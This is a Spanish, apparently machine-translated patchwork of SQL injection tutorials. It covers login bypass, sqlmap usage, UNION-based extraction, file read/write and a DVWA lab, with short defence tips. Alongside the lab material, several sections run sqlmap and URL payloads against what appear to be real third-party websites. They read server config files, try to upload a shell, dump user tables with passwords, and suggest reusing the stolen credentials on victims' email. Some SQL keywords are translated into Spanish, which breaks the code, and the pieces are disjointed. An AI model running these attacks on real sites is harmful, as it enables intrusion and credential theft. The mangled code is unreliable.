Instrucciones para usar sqlmap. Parte 1: Conceptos básicos del trabajo (GET). Llenar el shell Determinar las columnas de salida

La inyección SQL es un ataque que explota declaraciones SQL dinámicas comentando ciertas partes de las declaraciones o agregando una condición que siempre será verdadera. Apunta a agujeros en la arquitectura de aplicaciones web y utiliza sentencias SQL para ejecutar código SQL malicioso:

En este artículo, veremos las técnicas utilizadas en las inyecciones de SQL y cómo proteger las aplicaciones web de dichos ataques.

Cómo funciona la inyección SQL

Tipos de ataques que se pueden realizar con usando SQL-Las inyecciones difieren en el tipo de mecanismos de base de datos afectados. El ataque tiene como objetivo declaraciones SQL dinámicas. Una declaración dinámica es una declaración que se crea en tiempo de ejecución en función de los parámetros de un formulario web o una cadena de consulta URI.

Considere una aplicación web sencilla con un formulario de inicio de sesión. El código del formulario HTML se encuentra a continuación:

  • El formulario acepta una dirección de correo electrónico y luego la contraseña se envía a un archivo PHP llamado index.php;
  • La sesión se almacena en Galleta. Esta característica se habilita marcando la bandera recordar_me. El método de publicación se utiliza para enviar datos. Esto significa que los valores no se muestran en la URL.

Supongamos que la solicitud para verificar la ID de usuario en el lado del servidor tiene este aspecto:

  • La solicitud utiliza los valores de la matriz $_POST directamente sin desinfectarla;
  • La contraseña está cifrada mediante el algoritmo MD5.

Veremos un ataque que utiliza inyección SQL sqlfiddle. Abra la URL http://sqlfiddle.com/ en su navegador. La siguiente ventana aparecerá en la pantalla.

Nota: deberá escribir declaraciones SQL:

Paso 1: Ingresa este código en el panel izquierdo:

CREAR TABLA `usuarios` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `contraseña` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insertar en los usuarios (correo electrónico, contraseña) valores (" [correo electrónico protegido]",md5("abc"));

Paso 2: haz clic en el botón Construir esquema».
Paso 3: ingrese el siguiente código en el panel derecho:

seleccione * de los usuarios;

Paso 4: Haga clic en " Ejecutar SQL" Verá el siguiente resultado:

Supongamos que el usuario proporciona una dirección de correo electrónico. [correo electrónico protegido] y 1234 como contraseña. La consulta que debe ejecutarse en la base de datos podría verse así:

El código de inyección SQL de ejemplo anterior se puede omitir comentando parte de la contraseña y agregando una condición que siempre será verdadera. Supongamos que un atacante inserta los siguientes datos en el campo de dirección de correo electrónico:

[correo electrónico protegido]"O 1 = 1 LÍMITE 1 -- " ]

y xxx en el campo de contraseña.

La declaración dinámica generada se verá así:

  • [correo electrónico protegido] termina con una comilla simple, que termina la cadena;
  • OR 1 = 1 LIMIT 1 es una condición que siempre será verdadera y limita los resultados devueltos a un solo registro.

0; ' AND... es un comentario SQL que excluye la parte de la contraseña.

Copie la consulta anterior y péguela en el cuadro de texto FiddleRun SQL como se muestra a continuación:

Actividad de los piratas informáticos: inyecciones de SQL en aplicaciones web

Tenemos una aplicación web sencilla disponible en http://www.techpanda.org/ que es específicamente vulnerable a ataques mediante inyección SQL para principiantes con fines de demostración. El código del formulario HTML proporcionado anteriormente se toma de la página de autorización de esta aplicación.

Proporciona seguridad básica, como la desinfección del campo del correo electrónico. Esto significa que el código anterior no se puede utilizar para evitar este mecanismo.

Para evitar esto, puede utilizar un campo de contraseña. El siguiente diagrama muestra los pasos que debe seguir:

Supongamos que el atacante proporciona los siguientes datos:

Paso 1: Ingresar [correo electrónico protegido] como dirección de correo electrónico;
Paso 2: Ingrese xxx’) O 1 = 1 - ] ;

Hace clic en el botón "Enviar".

Será enviado al panel de administración. La consulta generada se verá así:

El siguiente diagrama muestra cómo se generó la solicitud:

Aquí:

  • La solicitud supone que se utiliza cifrado md5;
  • Se utilizan comillas simples de cierre y paréntesis;
  • Se agrega una condición al operador que siempre será verdadera.

Normalmente, los atacantes intentan utilizar varios métodos diferentes en un ataque de inyección SQL para lograr sus objetivos.

Otros tipos de ataques de inyección SQL

Las inyecciones SQL pueden causar daños importantes mas daño que iniciar sesión en el sistema sin pasar por el mecanismo de autorización. Algunos de estos ataques pueden:

  • Realizar eliminación de datos;
  • Realizar actualización de datos;
  • Agregar datos;
  • Ejecutar comandos en el servidor que descargará e instalará programas maliciosos;
  • Exportar a servidor remoto el atacante de datos valiosos, como datos de tarjetas de crédito, Correo electrónico y contraseñas.

La lista anterior no está completa. Simplemente da una idea de los peligros que plantean las inyecciones de SQL.

Herramientas para automatizar inyecciones SQL

En el ejemplo anterior, utilizamos métodos de ataque manuales. Antes de realizar una inyección SQL, es necesario comprender que existen herramientas automatizadas que permiten realizar ataques de manera más eficiente y rápida:

  • SQLSmack;
  • SQLPing 2;
  • Mapa SQL.

Cómo prevenir las inyecciones de SQL

Aquí hay algunos reglas simples, que le permitirá protegerse contra ataques mediante inyecciones SQL:

No se debe confiar en la entrada del usuario. Siempre es necesario desinfectarlos antes de utilizar los datos en operaciones SQL dinámicas.

Procedimientos almacenados- Pueden encapsular consultas SQL y procesar todos los datos de entrada como parámetros.

Consultas preparadas- Primero se crean las consultas y luego todos los datos del usuario proporcionados se procesan como parámetros. Esto no afecta la sintaxis de la declaración SQL.

Expresiones regulares- se puede utilizar para detectar código potencialmente malicioso y eliminarlo antes de ejecutar declaraciones SQL.

Derechos de acceso para conectarse a la base de datos.- a proteger contra inyecciones SQL, a las cuentas que se utilizan para conectarse a la base de datos solo se les deben otorgar los derechos de acceso necesarios. Esto ayudará a limitar las acciones que las sentencias SQL pueden realizar en el servidor.

Error de mensajes- no debe revelar información confidencial. Mensajes de error personalizados simples como " Lo siento, surgió un error técnico. El equipo de soporte ya ha sido notificado al respecto. Por favor, inténtelo de nuevo más tarde" se puede utilizar en lugar de mostrar las consultas SQL que causaron el error.

Revelación: .ZEN

Tenemos una inyección SQL en el sitio que se ve así:

Lo primero que queremos hacer es comprobar si tenemos privilegios para escribir archivos en el recurso atacado, para ello, cargamos la terminal y emitimos el siguiente comando:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Pulsamos Enter y comienza el análisis de nuestra Inyección SQL, el informe queda así:

Como puede ver en el informe, se escriben la versión de Apache, la versión de MySQL y la versión del sistema operativo instalado en el servidor, todo esto nos será útil en el futuro, pero lo más importante, puede ver que tenemos derechos para escribir archivos, esto se muestra en la línea El usuario actual es DBA: Verdadero

El siguiente paso para nosotros es obtener las rutas para registrar nuestro shell. Podemos obtener la ruta a nuestro sitio en el servidor descargando el archivo httpd.conf. Obtenemos información sobre la ubicación del archivo httpd.conf de usando google, puede buscar por la versión del sistema operativo instalado o por la lista de rutas más probables. En general no profundizaré en el surf. los motores de búsqueda, justo cuando haya descubierto la ubicación más probable de la ruta al archivo, entonces es hora de descargar este mismo archivo a su disco, para hacer esto, ingrese el siguiente comando y solicite leer el archivo en el servidor:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Notemos de inmediato que no siempre es posible encontrar este archivo de configuración la primera vez, por lo que puede usar las rutas más probables donde se puede ubicar este archivo:

LISTA DE POSIBLES RUTAS AL ARCHIVO DE CONFIGURACIÓN:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Recibimos un informe de sqlmap de la siguiente forma:

Como puede ver, sqlmap nos dijo que el archivo tiene el mismo tamaño que el archivo en el servidor, por lo tanto, tenemos derecho a leer este archivo. Si no hubiera suficientes derechos para leer este archivo, entonces aparecería un error de que el archivo guardado en nuestra máquina tiene un tamaño diferente al archivo en el servidor, o no hay ningún archivo en el servidor en la ruta que especificamos y nunca lo ha hecho. estado. Sqlmap guardó nuestro archivo en los archivos de informe y, para leerlo, debemos iniciar el administrador de ventanas. Para iniciar el administrador de ventanas, abrimos otra ventana de terminal e ingresamos el comando:

A continuación, en el administrador que se abre, seguimos la ruta donde sqlmap agregó el archivo, es decir:
/root/.sqlmap/output/sacoor.com
Luego, coloque el cursor sobre el archivo, presione el botón F3 en el teclado y lea el archivo de configuración de Apache:

Desde nuestro archivo de configuración vemos que nuestro sitio está ubicado en el servidor en la siguiente ruta:
/home/sbshop/sitio/

Ahora que tenemos un poco de información, podemos intentar llenar el shell, para ello ingresamos el siguiente comando:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Después de ingresar el comando, sqlmap nos preguntará qué tipo de relleno queremos usar, porque... en nuestro caso, el sitio está en PHP, luego cargaremos el cargador PHP, seleccionaremos el elemento 4 y presionaremos Enter. A continuación, sqlmap nos pedirá que elijamos dónde subiremos nuestro cargador, y ya que… Ya conocemos la ruta a nuestro sitio en el servidor, luego seleccionamos el elemento 2, presionamos Enter e indicamos la ruta al sitio:
/home/sbshop/sitio/

Y después de eso, presione Enter y vea el siguiente informe:

En este caso, sqlmap nos dice que en esta carpeta No tenemos derechos de escritura. No hay problema, este problema es bastante fácil de resolver. Damos el comando para iniciar Uniscan y verificar la capacidad de escritura de archivos y carpetas, aquí está el comando.

¿Qué es sqlmap y para qué sirve?

El programa le permite verificar sitios en busca de vulnerabilidades de inyección SQL, vulnerabilidades XSS y también explotar la inyección SQL. Se admiten varios tipos de inyecciones SQL y una variedad de bases de datos.

¿Qué puedes hacer con sqlmap?

Con sqlmap puedes:

  • comprobar si los sitios web tienen vulnerabilidades

Si el sitio es vulnerable a la inyección SQL, entonces es posible:

  • recibir información de la base de datos, incluido el volcado de la base de datos (completa)
  • modificar y eliminar información de la base de datos
  • cargar un shell (puerta trasera) a un servidor web

Uno de los escenarios para usar sqlmap:

  • Obtener nombre de usuario y contraseña de la base de datos
  • Buscar paneles de administración del sitio (panel de administración)
  • Inicie sesión en el panel de administración con el nombre de usuario y la contraseña recibidos.

Si existe una vulnerabilidad, el ataque puede desarrollarse en varias direcciones:

  • Modificación de datos
  • Llenando la puerta trasera
  • Inyectar código JavaScript para obtener datos del usuario
  • Implementación de código para conectar BeEF

Como podemos ver, la inyección SQL es una vulnerabilidad muy peligrosa que brinda al atacante grandes oportunidades.

Comprobar sitios web usando sqlmap

Si el sitio recibe datos del usuario mediante el método GET (cuando tanto el nombre de la variable como los datos transmitidos son visibles en la barra de direcciones del navegador), entonces debe seleccionar la dirección de la página en la que se encuentra esta variable. presente. ella viene despues signo de interrogación (? ), Por ejemplo:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

En la primera dirección, el nombre de la variable es identificación, y el valor pasado es 8 . En la segunda dirección también está el nombre de la variable. identificación, y el valor transmitido 22 . En el tercer ejemplo, el nombre de la variable es el mismo, pero el valor que se pasa es p_36. El mismo nombre de variable es una coincidencia aleatoria para diferentes sitios, puede ser cualquier cosa, los datos transmitidos pueden ser cualquier cosa, puede haber varias variables con valores separados por un símbolo & .

Si queremos comprobar si la variable id es vulnerable a la inyección SQL, entonces debemos ingresar la dirección completa: http://www.dwib.org/faq2.php?id=8 (no http://www.dwib .org /faq2.php o http://www.dwib.org).

El comando para comprobar una variable pasada por el método GET es muy sencillo:

Sqlmap -u dirección_sitio

Para estos sitios los comandos serán:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Durante el proceso de verificación, sqlmap puede configurar varias preguntas y necesitan ser respondidas y(es decir, sí) o norte(es decir, No). Las letras y y n pueden ser mayúsculas o minúsculas. La letra mayúscula significa la opción predeterminada; si está de acuerdo con ella, simplemente presione Entrar.

Ejemplos de situaciones y preguntas:

La heurística detectó que el objetivo está protegido por algún tipo de WAF/IPS/IDS. ¿Desea que sqlmap intente detectar WAF/IPS/IDS backend?

La heurística determinó que el objetivo está protegido por algún tipo de WAF/IPS/IDS. ¿Quiere que sqlmap intente determinar el nombre del WAF/IPS/IDS?

Mi petición favorita:

La prueba heurística (básica) muestra que el parámetro GET "id" podría ser inyectable (posible DBMS: "MySQL") al probar la inyección de SQL en el parámetro GET "id", parece que el DBMS back-end es "MySQL". ¿Quiere omitir cargas útiles de prueba específicas para otros DBMS?

La cuestión es que la heurística ha determinado que el parámetro puede ser vulnerable y el DBMS remoto ya ha sido identificado, se nos pregunta si queremos continuar con la comprobación. Y en la segunda captura de pantalla, el sitio también es vulnerable a XSS.

Si desea automatizar el proceso para que sqlmap no le pregunte cada vez, sino que utilice la selección predeterminada (siempre hay mejores opciones), entonces puedes ejecutar el comando con la opción --lote:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Posibles problemas al escanear sqlmap

Pueden aparecer los siguientes errores:

Se agotó el tiempo de conexión a la URL de destino. sqlmap volverá a intentar la(s) solicitud(es) si el problema persiste. Verifique que la URL de destino proporcionada sea válida. En caso de que así sea, puede intentar volver a ejecutar con el interruptor "--random-agent" activado y/o los interruptores de proxy ("--ignore-proxy", "--proxy",...)

Significa que el sitio web no quiere "hablar" con sqlmap. Como opción se nos ofrece utilizar --agente-aleatorio. Si puede ver el sitio en el navegador, pero sqlmap escribe sobre la imposibilidad de conectarse, entonces el sitio ignora las solicitudes y se centra en el agente de usuario. La opción --random-agent cambia el valor estándar de sqlmap a aleatorio:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Otra razón para este error podría ser que su IP esté bloqueada por un sitio web; entonces necesita usar un proxy. Si ya estás usando un proxy y aparece este error, puede significar que el proxy tiene problemas de comunicación y debes intentar sin él.

resultados del escaneo sqlmap

Las inyecciones de SQL detectadas se muestran de la siguiente manera:

Aquellos. están resaltados en color verde negrita, se escribe el nombre del parámetro vulnerable, el tipo de vulnerabilidad SQL y ahí está la palabra inyectable.

Obtener una lista de bases de datos con sqlmap

Para obtener una lista de bases de datos, use la opción --dbs. Ejemplos:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Recuperar información de bases de datos

Por ejemplo, se encontraron dos bases de datos para el sitio wellerpools.com:

[*] esquema_información [*] main_wellerpools

Quiero saber la lista de tablas en la base de datos main_wellerpools. Para hacer esto, use la opción --mesas. Además debemos indicar después de la opción la tabla que nos interesa -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Lista de tablas:

Por alguna razón, quiero saber la lista de columnas de la tabla de usuarios. Para hacer esto, use la opción --columnas. Además debemos indicar la base de datos que nos interesa ( -D piscinas_weller_principales) y después de la clave -T la tabla para la que queremos ver una lista de columnas:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T usuarios --columnas

Para mostrar el contenido utilice la opción --vertedero. Se puede especificar junto con la base de datos y luego se realizará un volcado de toda la base de datos, o puede limitar los datos a una tabla o incluso a una columna. Con el siguiente comando quiero ver el contenido de toda la tabla de usuarios:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T usuarios --dump

Eche un vistazo a las contraseñas: tras una inspección rápida, pensé que eran hashes. Los administradores realmente intentaron defenderse, pero no les ayudó.

Por cierto, dado que el parámetro que acepta datos enviados por el método GET es vulnerable, puede realizar una solicitud directamente en la línea del navegador de tal manera que el nombre de usuario y la contraseña del usuario se mostrarán directamente en el sitio:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(nombre_usuario,0x3a,contraseña_usuario),3,4,5,6,7,8,9, 10+de+usuarios--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+de+usuarios--

Aquellos. Tenemos el nombre de usuario, contraseña y correo electrónico de los usuarios (y muy probablemente incluso de los administradores) del sitio. Si puede encontrar el panel administrativo del sitio, podrá obtener el control del sitio o del servidor web. Teniendo en cuenta el amor de los usuarios por las mismas contraseñas y conociéndolas. buzones- Puedes intentar hackear tu correo.

En general, la inyección SQL es una vulnerabilidad muy peligrosa.

Saludos, lector. Últimamente, Me interesa la seguridad web y, hasta cierto punto, mi trabajo está relacionado con esto. Porque Cada vez más comencé a notar temas en varios foros que les pedían que mostraran cómo funciona todo, así que decidí escribir un artículo. El artículo estará dirigido a aquellos que no se han encontrado con esto, pero les gustaría aprender. Hay relativamente muchos artículos sobre este tema en Internet, pero para los principiantes son un poco complicados. Intentaré describir todo en un lenguaje claro y ejemplos detallados.

Prefacio

En orden para entender Este artículo, realmente no necesitas conocimientos del lenguaje SQL, pero sí al menos mucha paciencia y un poco de cerebro para recordar.

Creo que solo leer el artículo no será suficiente, porque... necesitamos ejemplos vivos; como saben, la práctica en el proceso de memorización nunca es superflua. Por lo tanto, escribiremos scripts vulnerables y nos entrenaremos en ellos.

¿Qué es la inyección SQL?
Discurso en lenguaje sencillo es un ataque a la base de datos que le permitirá realizar alguna acción que no fue prevista por el creador del script. Ejemplo de la vida:

El padre le escribió una nota a su madre para que le diera a Vasya 100 rublos y los pusiera sobre la mesa. Reelaborando esto en un lenguaje SQL cómico, obtenemos:
TOMA 100 RUBLOS DE TU BILLETERA Y DÁSELOS A Vasya

Como el padre escribió mal la nota (letra torpe) y la dejó sobre la mesa, Petia, el hermano de Vasya, la vio. Petya, siendo un hacker, añadió "O Pete" allí y el resultado fue la siguiente solicitud:
TOMA 100 RUBLOS DE TU BILLETERA Y DÁSELOS A Vasya O Petya

Mamá, después de leer la nota, decidió que ayer le dio dinero a Vasya y le dio 100 rublos a Petya. Aquí tienes uno sencillo Ejemplo de SQL inyecciones de la vida :) Sin filtrar los datos (mamá apenas podía descifrar la letra), Petya logró ganancias.

Preparación
Para practicar, necesitará un archivo con los scripts fuente de este artículo. Descárgalo y descomprímelo en el servidor. También importe la base de datos y configure los datos en el archivo. cfg.php

Buscar inyección SQL

Como ya entendiste, la inyección proviene de datos entrantes que no están filtrados. El error más común es no filtrar la identificación transmitida. Bueno, a grandes rasgos, pon comillas en todos los campos. ¡Ya sea una solicitud GET/POST o incluso una cookie!

Parámetro de entrada numérico
Para practicar necesitamos un guión. index1.php. Como dije anteriormente, insertamos comillas en el ID de noticias.

Porque Nuestra solicitud no tiene filtrado:

$identificación = $_GET["identificación"]; $consulta = "SELECCIONAR * DE noticias DONDE id=$id";

El guión entenderá esto como

SELECCIONE * DE noticias DONDE id=1"

Y nos dará un error:
Advertencia: mysql_fetch_array() espera que el parámetro 1 sea un recurso, booleano dado en C:\WebServ\domains\sqlinj\index1.php en la línea 16

Si el error no aparece, puede deberse a las siguientes razones:

1.La inyección SQL no está aquí: las comillas se filtran o simplemente vale la pena convertirlas a (En t)
2. La salida de error está deshabilitada.

Si sigue apareciendo un error, ¡hurra! Encontramos el primer tipo de inyección SQL: parámetro de entrada numérico.

Parámetro de entrada de cadena

Enviaremos solicitudes a index2.php. EN Este archivo, la solicitud se ve así:
$usuario = $_GET["usuario"]; $consulta = "SELECCIONAR * DE noticias DONDE usuario="$usuario"";

Aquí seleccionamos noticias por nombre de usuario y, nuevamente, no filtramos.
Nuevamente enviamos una solicitud con una cotización:

Dio un error. ¡DE ACUERDO! Esto significa que hay una vulnerabilidad. Para empezar, esto es suficiente para nosotros: pongámonos a practicar.

tomemos acción

una pequeña teoría

Probablemente no puedas esperar a sacar algo de esto más que errores. Primero, comprenda que el letrero " -- " se considera un comentario en SQL.

¡ATENCIÓN! Debe haber espacios antes y después. En la URL se transmiten como %20

Todo lo que venga después del comentario será descartado. Es decir, la solicitud:
SELECCIONE * DE noticias DONDE usuario="AlexanderPHP" -- habrahabra

Tendrá éxito. Puedes probar esto en el script index2.php enviando una solicitud como esta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aprende el parámetro UNIÓN. En lenguaje SQL palabra clave UNIÓN Se utiliza para combinar los resultados de dos consultas SQL en una sola tabla. Es decir, para sacar algo que necesitamos de otra mesa.

aprovechémoslo

Si el parámetro es "Numérico", entonces no necesitamos enviar una cotización en la solicitud y, naturalmente, poner un comentario al final. Volvamos al guión. index1.php.

Pasemos al script sqlinj/index1.php?id=1 UNION SELECT 1. Nuestra consulta de base de datos se ve así:
SELECCIONAR * DE noticias DONDE id=1 UNION SELECT 1
Y nos dio error, porque... para trabajar con consultas combinadas, necesitamos la misma cantidad de campos.

Porque No podemos influir en su número en la primera solicitud, entonces debemos seleccionar su número en la segunda para que sea igual al primero.

Seleccionar el número de campos

Seleccionar campos es muy sencillo, basta con enviar las siguientes solicitudes:
sqlinj/index1.php?id=1 SELECCION UNION 1,2
Error…
sqlinj/index1.php?id=1 SELECCION UNION 1,2,3
¡Error de nuevo!
sqlinj/index1.php?id=1 SELECCION UNION 1,2,3,4,5
¡No hay error! Esto significa que el número de columnas es 5.

AGRUPAR POR
A menudo sucede que puede haber 20, 40 o incluso 60 campos. Para no tener que revisarlos cada vez, utilizamos. AGRUPAR POR

si la solicitud
sqlinj/index1.php?id=1 GRUPO POR 2
no mostró ningún error, lo que significa que el número de campos es más de 2. Intentemos:

Sqlinj/index1.php?id=1 GRUPO POR 8
Op, vemos un error, significa que el número de campos es inferior a 8.

Si no hay ningún error con GROUP BY 4, y con GROUP BY 6 hay un error, entonces el número de campos es 5

Definición de columnas de salida
Para que no se nos muestre nada desde la primera solicitud, basta con sustituir un ID inexistente, por ejemplo:

Sqlinj/index1.php?id=-1 SELECCION DE UNIÓN 1,2,3,4,5

Con esta acción, determinamos qué columnas se muestran en la página. ahora para reemplazar estos números con Información necesaria, debe continuar con la solicitud.

Salida de datos

Digamos que sabemos que la tabla todavía existe. usuarios en el que existen los campos identificación, nombre Y aprobar.
Necesitamos obtener información sobre el usuario con ID=1

Por lo tanto, construyamos la siguiente consulta:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 DE usuarios DONDE id=1
El guión también continúa publicándose.

Para ello sustituiremos los nombres de los campos en lugar de los números 1 y 3.

Sqlinj/index1.php?id=-1 UNION SELECT nombre,2,contraseña,4,5 DE usuarios DONDE id=1
¡Tenemos lo que necesitábamos!

Para "parámetro de entrada de cadena" como en el script index2.php debe agregar una comilla al principio y un comentario al final. Ejemplo:
sqlinj/index2.php?user=-1" UNION SELECT nombre,2,contraseña,4,5 DE usuarios DONDE id=1 --%20

Leer/escribir archivos

Para leer y escribir archivos, el usuario de la base de datos debe tener derechos FILE_PRIV.
Grabar archivos
De hecho, todo es muy sencillo. Para escribir un archivo, usaremos la función ARCHIVO.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 EN OUTFILE "1.php" --%20
Genial, el archivo ha sido registrado con nosotros. Así, podemos llenar el mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 EN EL ARCHIVO DE SALIDA "1.php" --%20
Leyendo archivos
Leer archivos es incluso más fácil que escribir. Basta con utilizar la función. CARGAR ARCHIVO, para el lugar del campo que seleccionamos:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Así, hemos leído el archivo escrito anterior.

Métodos de protección

Protegerse es incluso más fácil que explotar una vulnerabilidad. Simplemente filtre los datos. Si está pasando números, utilice
$identificación = (int) $_GET["identificación"];
Como sugirió el usuario malroc. Protéjase utilizando DOP o declaraciones preparadas.

en lugar de completar

Aquí es donde quiero terminar mi primera parte sobre “Inyección SQL para principiantes”. En el segundo veremos ejemplos más severos de inyecciones. Intente escribir scripts vulnerables y ejecutar consultas usted mismo.
Y recuerda, no te fíes de ningún usuario de tu sitio.

La inyección SQL es un tipo de ataque en el que un atacante modifica la lógica de consulta SQL de una aplicación web, lo que le permite leer/modificar/eliminar valores en la base de datos y, en ocasiones, ejecutar código arbitrario en el lado del servidor. Este artículo analizará la popular utilidad sqlmap para realizar inyecciones de SQL.

En este momento, este tipo La vulnerabilidad es la más peligrosa de todas. Durante 7 años, la línea líder del “OWASP TOP-10” ha estado encabezada por inyecciones SQL.

Hay 5 razones principales para esta vulnerabilidad:

  1. Validación insuficiente o falta de validación de los parámetros de entrada, especialmente la entrada del usuario. "Cualquier parámetro de entrada es malo"
  2. Acceso irrazonable y débilmente protegido a bases de datos. Esta categoría incluye factores como: un gran número de administradores y superusuarios (root), sistema de autenticación débil, una gran cantidad de derechos para administradores secundarios, etc.
  3. Arquitectura. Uso de tecnologías obsoletas, falta de medidas de control, abandono de la metodología de “modelado de amenazas”.
  4. Herencia de código obviamente vulnerable, uso de soluciones listas para usar con un bajo nivel de seguridad.
  5. Falta de un nivel adecuado de abstracción del código ejecutable a partir de los datos.

Mapa SQL.

Tipos de inyecciones SQL.

Veamos los tipos de inyecciones SQL explotadas por la utilidad SQLMap:

  1. Inyección SQL ciega basada en booleanos
    • Un método en el que las solicitudes y respuestas HTTP se leen carácter por carácter para detectar vulnerabilidades.
    • Una vez que se detecta un parámetro vulnerable, SQLMap reemplaza o agrega declaraciones SQL sintácticamente correctas mientras espera que el servidor responda ejecutando ese código.
    • SQLMap compara la solicitud válida original con la respuesta de una solicitud con código malicioso incrustado.
    • SQLMap utiliza el algoritmo de bisección ( biseccional algoritmo) para recuperar cada carácter de la respuesta utilizando un máximo de siete solicitudes HTTP.
    • Cuando la respuesta no se proporciona en texto puro, SQLMap adapta el algoritmo con valores mayores para determinar la respuesta.
  2. Inyección SQL ciega basada en tiempo
    • El método basado en tiempo en sí asume que existe alguna comparación basada en los tiempos de solicitud y respuesta al inyectar una declaración SQL sintácticamente correcta en el parámetro vulnerable.
    • SQLMap utiliza declaraciones SQL que ponen la base de datos en espera para regresar durante un período de tiempo específico.
    • Utilizando el mismo algoritmo biseccional para generar carácter por carácter, SQLMap compara el tiempo de respuesta HTTP con la solicitud original.
  3. Inyección SQL basada en errores
    • SQLMap utiliza sentencias SQL que pueden provocar la generación de errores específicos.
    • La utilidad busca errores en la respuesta HTTP del servidor.
    • Este método solo funciona si la aplicación web está configurada para revelar mensajes de error.
  4. Consulta UNIÓN
    • Ingrese la declaración SQL UNION TODO SELECCIONAR .
    • La inyección SQL basada en consultas UNION funciona según el comportamiento de la aplicación, es decir, cuando la solicitud transmite el resultado del escrito SELECCIONAR consulta a través de un bucle o línea de instrucciones específica que permite escribir la salida en el contenido de la página.
    • En caso de que la salida no pase por ningún bucle para u otra cadena de declaraciones, SQLMap utiliza una inyección de consulta UNION única.
  5. Consulta apilada
    • Usando consultas plegadas. SQLMap agrega un punto y coma (;) al valor del parámetro afectado y agrega la declaración SQL que necesita ser ejecutado.
    • Con esta técnica, puede ejecutar sentencias SQL distintas de SELECT. Esto es útil para manipular datos, obtener acceso de lectura y escritura y, finalmente, ser capturado por el sistema operativo.
  6. Fuera de banda
    • Este método utiliza un canal de comunicación secundario u otro para generar los resultados de las consultas ejecutadas en la aplicación afectada.
    • Por ejemplo, la inserción se realiza en una aplicación web y un canal secundario como consultas DNS, se utiliza para reenviar datos al dominio del atacante.

Uso básico de SQLMap.

Inicie la utilidad (debe estar en la variableCAMINO ):

$sqlmapa

O desde el directorio de utilidades:

$python sqlmap.py

Para llamar a la documentación, use la tecla «- h / — ayuda »:

$ sqlmap --ayuda $ python sqlmap.py –ayuda

Las acciones de las claves de SQLMap dependen completamente de lo que quiera lograr exactamente el atacante. La lista básica de acciones de SQLMap se ve así:

  • Enumere información de la base de datos, como nombre, versión y otros detalles.
  • Seleccione una base de datos específica para enumerar información sobre las tablas que contiene.
  • Seleccione la tabla y enumere la información de la columna.
  • Seleccione una columna y enumere las filas para recuperar sus valores.
  • Mayor explotación.

Práctica.

Para nuestra formación práctica utilizaremos Maldición Vulnerable Web Solicitud (DVWA o "Maldita aplicación web vulnerable").

DVWA es una aplicación web gratuita basada en tecnologías como PHP y MySQL, diseñada para entrenar habilidades de pentesting.

Ahora solo nos interesan las inyecciones, pero en general, puedes probar tus habilidades en otras vulnerabilidades creadas en base al oficial. OWASP ARRIBA -10 .

P.D.: Esta práctica supone que tienes conocimientos Conceptos básicos de Linux , Nivel Básico en Inglés y la capacidad de utilizar Google (si no tiene las habilidades anteriores).

Instalación:

  • Descarga la aplicación y sigue las instrucciones;
  • Cambia el nivel de dificultad a BAJO;
  • Sólo nos interesan las pestañas de “Inyección SQL”;

Datos iniciales:

  • Servidor web en una red privada
  • URL vulnerable: http:// su anfitrión . com /dvwa/vulnerabilidades/sqli/?id=1&Submit=Enviar#
  • Parámetro vulnerable: identificación

Entonces empecemos:

  1. Confirmamos disponibilidadSQL inyecciones:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Explicación del comando:

